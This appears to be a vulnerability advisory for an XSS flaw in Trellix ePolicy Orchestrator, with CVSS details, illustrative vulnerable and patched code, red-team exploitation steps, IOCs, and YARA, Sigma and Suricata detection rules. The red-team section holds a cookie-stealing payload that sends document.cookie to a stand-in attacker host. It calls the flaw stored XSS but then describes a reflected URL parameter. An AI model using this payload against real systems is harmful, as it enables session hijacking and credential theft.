CVE-2024-5955

Executive Summary

CVE-2024-5955 is a stored cross-site scripting (XSS) vulnerability in Trellix ePolicy Orchestrator (ePO) prior to version 5.10 Service Pack 1 Update 3. A remote authenticated attacker can craft malicious requests that cause arbitrary JavaScript or HTML to be injected into the response when other users access the ePO interface. This can lead to session hijacking, credential theft, or defacement within the ePO management console. The vulnerability has a CVSS score of 5.4 (Medium) and no public exploit code or proof-of-concept has been released. The vendor has provided a patch in the latest update.

Supply Chain & Package Security

This vulnerability affects Trellix ePolicy Orchestrator, a proprietary enterprise endpoint management solution. It is not an open-source package (NPM, PyPI, Go, Ruby). The risk is limited to organizations using Trellix ePO for endpoint security management.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must access crafted link)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication and user interaction, but can lead to significant compromise of the ePO management console.

Deep Dive & Mechanics

The vulnerability exists in the way Trellix ePolicy Orchestrator handles user-supplied input in certain HTTP requests. An authenticated attacker can inject malicious script code into parameters that are later reflected in the response without proper sanitization or encoding. When an administrator or other user accesses the crafted URL, the injected script executes in the context of the victim's session.

The root cause is insufficient output encoding of user-controlled data in the ePO web interface. The attacker can craft a URL containing JavaScript payloads that bypass input validation filters. The injected script can then perform actions such as:

• Stealing session cookies
• Modifying ePO policies
• Exfiltrating sensitive data
• Performing actions on behalf of the victim

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation).

Vulnerable vs. Patched Code

Vulnerable Code (ePO < 5.10 SP1 Update 3): The vulnerable code does not properly encode user input before including it in the HTTP response. For example, a parameter like name might be directly concatenated into HTML without escaping:

// Vulnerable: direct concatenation
response.write("<div>User: " + request.getParameter("name") + "</div>");

Patched Code (ePO 5.10 SP1 Update 3): The patched version properly encodes output using context-aware escaping:

// Patched: output encoding
response.write("<div>User: " + encodeForHTML(request.getParameter("name")) + "</div>");

The patch ensures that any user-supplied data is sanitized before being rendered in the browser, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Access to a vulnerable Trellix ePO instance (version < 5.10 SP1 Update 3)
• Valid authenticated session (low-privileged user)

Exploitation Steps:

1. Identify a vulnerable parameter in the ePO web interface (e.g., search field, user profile name).
2. Craft a malicious URL with a JavaScript payload:

   https://epo-server.example.com/epo/secure/SomePage.jsp?name=<script>alert('XSS')</script>
   

3. Send the crafted URL to an administrator via email or other means.
4. When the administrator clicks the link, the script executes in their browser.
5. Use the script to steal session cookies or perform actions on behalf of the administrator.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor web server logs for suspicious parameters containing <script>, onerror, javascript:, etc.
2. Implement Web Application Firewall (WAF) rules to block common XSS patterns.
3. Use Content Security Policy (CSP) headers to restrict script execution.
4. Conduct regular vulnerability scans to identify unpatched ePO instances.

Mitigation:

• Apply the vendor patch immediately (upgrade to ePO 5.10 SP1 Update 3).
• Restrict administrative access to the ePO console.
• Enable input validation and output encoding in custom integrations.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing <script>, onerror, javascript: in parameters
• Outbound connections to unknown domains from ePO server
• Unusual referrer headers in ePO access logs

Host IOCs:

• Modified ePO configuration files
• Unexpected scheduled tasks or scripts on ePO server
• New user accounts with elevated privileges

Log IOCs:

• Repeated 400/500 errors in ePO web logs
• Suspicious user-agent strings
• Multiple failed login attempts followed by successful XSS payload delivery

Detection Engineering

YARA Rule

rule CVE_2024_5955_XSS_Detection {
    meta:
        description = "Detects XSS payloads targeting Trellix ePO CVE-2024-5955"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5955"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
        $xss5 = "alert(" nocase
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-5955 XSS Attempt in Trellix ePO
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in HTTP requests to Trellix ePO
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
            - 'onload='
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5955 XSS Attempt in Trellix ePO"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-5955 XSS Attempt - onerror"; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-5955 XSS Attempt - javascript"; content:"javascript:"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Trellix ePolicy Orchestrator to version 5.10 Service Pack 1 Update 3 or later.
2. If immediate patching is not possible, restrict access to the ePO web interface to trusted IP addresses only.
3. Enable Web Application Firewall (WAF) rules to block XSS payloads.

Long-term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security training for administrators on phishing and XSS risks.
• Perform periodic vulnerability assessments of all enterprise management tools.
• Monitor vendor security advisories for future patches.

Workarounds:

• Disable JavaScript in the browser when accessing ePO (not recommended for full functionality).
• Use a reverse proxy with XSS filtering capabilities.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert